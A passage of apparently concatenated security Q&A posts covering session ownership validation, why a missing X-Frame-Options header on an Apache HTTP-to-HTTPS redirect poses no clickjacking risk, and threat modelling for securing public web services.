In both cases, server-side validation that the client that claims to own a session ID is best practice.  What this validation is composed of is up for debate.  Keep in mind that users behind corporate proxies may hop between IP addresses between requests, so locking a session to an IP address may accidentally alienate people.  The session fixation article mentions a few other helpful alternatives.


X-Frame-Options header on redirect I have several web applications running on my server (Debian 8 running Apache). One of my customers wants to improve the security of his app, after having some security audits carried out by a third-party company he showed me the vulnerabilities he wanted to get fixed, one of these is the missing X-Frame-Options header.

While the header is present in the HTTPS application, it's missing in the HTTP one.
Because of the different requirements of the web application(s) being exposed from the same Apache instance, I cannot define a unique X-Frame-Options header directly in the httpd.conf file.

I've configured an internal redirect http -> https, then adding the www., e.g. webappaddress.com -> www.webappaddress.com.

The problem resides in explicitly asking for HTTP version but not getting the header before the redirection. What happens is: get http version -> redirect on https -> redirect to www.* if missing.

My configuration on the virtualhost (for both 80 and 443):

RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule (.*) https://%{SERVER_NAME}$1 [R,L]

My configuration on the .htaccess:

<IfModule mod_headers.c>
    Header set X-XSS-Protection "1; mode=block"
    Header set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
    Header always append X-Frame-Options SAMEORIGIN
    Header set X-Content-Type-Options nosniff
    <If "%{HTTP_HOST} != 'www.webappaddress.com'">
            Header set Content-Security-Policy "default-src 'self'; style-src 'unsafe-inline' 'self' ;"
            Header always set Referrer-Policy "origin-when-cross-origin"
    </If>

So my theory is clickjacking could be still possible before the redirect happens (tell me if I'm wrong), but if you look at Facebook or Google they seem to follow the same approach: no security headers before the http->https redirect.

Your setup is not vulnerable to clickjacking.

Clickjacking loads a page in an iframe and tricks the user to interact with it. The X-Frame-Options header and frame-ancestors directive prevent loading the page in an iframe.

Your HTTP website doesn't have these headers and could be loaded in an iframe, but it doesn't have anything to interact with. It only redirects to HTTPS, so an attacker could load an empty page in an iframe. Since there is nothing to click here, there is no clickjacking risk.


Securing Public Web Services - What is the best practice? There seems to be a number of ways to secure web services. OAuth, API Keys, Tokens, WIF, etc. Since security is not my area of expertise, I am asking what is the best ways to secure public web services.

Al least tell me what I should be thinking about to come to a standard way of securing the public web services.

Asking for the best practice to secure some public service, without any other detail, is like asking what is the best car. The only answer can be: it depends. Do you need the car to transport heavy equipment ? To reliably go to work even in a snow storm ? To roam the streets for hours as part of a vigilante group ? To woo prospective mates ?

Since we are talking generalities, then the first thing to do is to write down the security model:

What assets are you trying to protect ?
What is the assumed extent of the power, motivation and patience of the attackers ?
What is the value of that which you protect ?

In particular, for a public network-based service, you may or may not fear the following cases (non-exhaustive list):

An attacker sends a request to your service without being authorized to do so.
An attacker spies on the data exchanged between your service and an authorized user.
An attacker modifies a request from an authorized user to your service, and/or modifies the response.
An attacker poses as a fake clone of your service, and talks to your users without your service being ever made aware of it.
An attacker disrupts your service by overloading it.
An authorized user spies upon other authorized users accessing the service at the same time.
Legal authorities ask you to provide the identity of the user who issued a specific request to your service, and you are legally obliged to keep such logs.
Some local event (flood, fire,...) takes your service down and you need to activate a secondary site to maintain availability.
Users sue you for some alleged framing and you must have a proof, convincing for judge, that the user really sent you a specific request that you could not have fabricated (a typical banking context).
An attacker succeeded in stealing a part of your server's database, and uses it to impersonate users.

A variety of tools will be relevant, depending on the situation. In most cases, using SSL for your service will be a good idea (or, rather, not using SSL would be a spectacularly bad idea). In many cases, you will need some form of user authentication.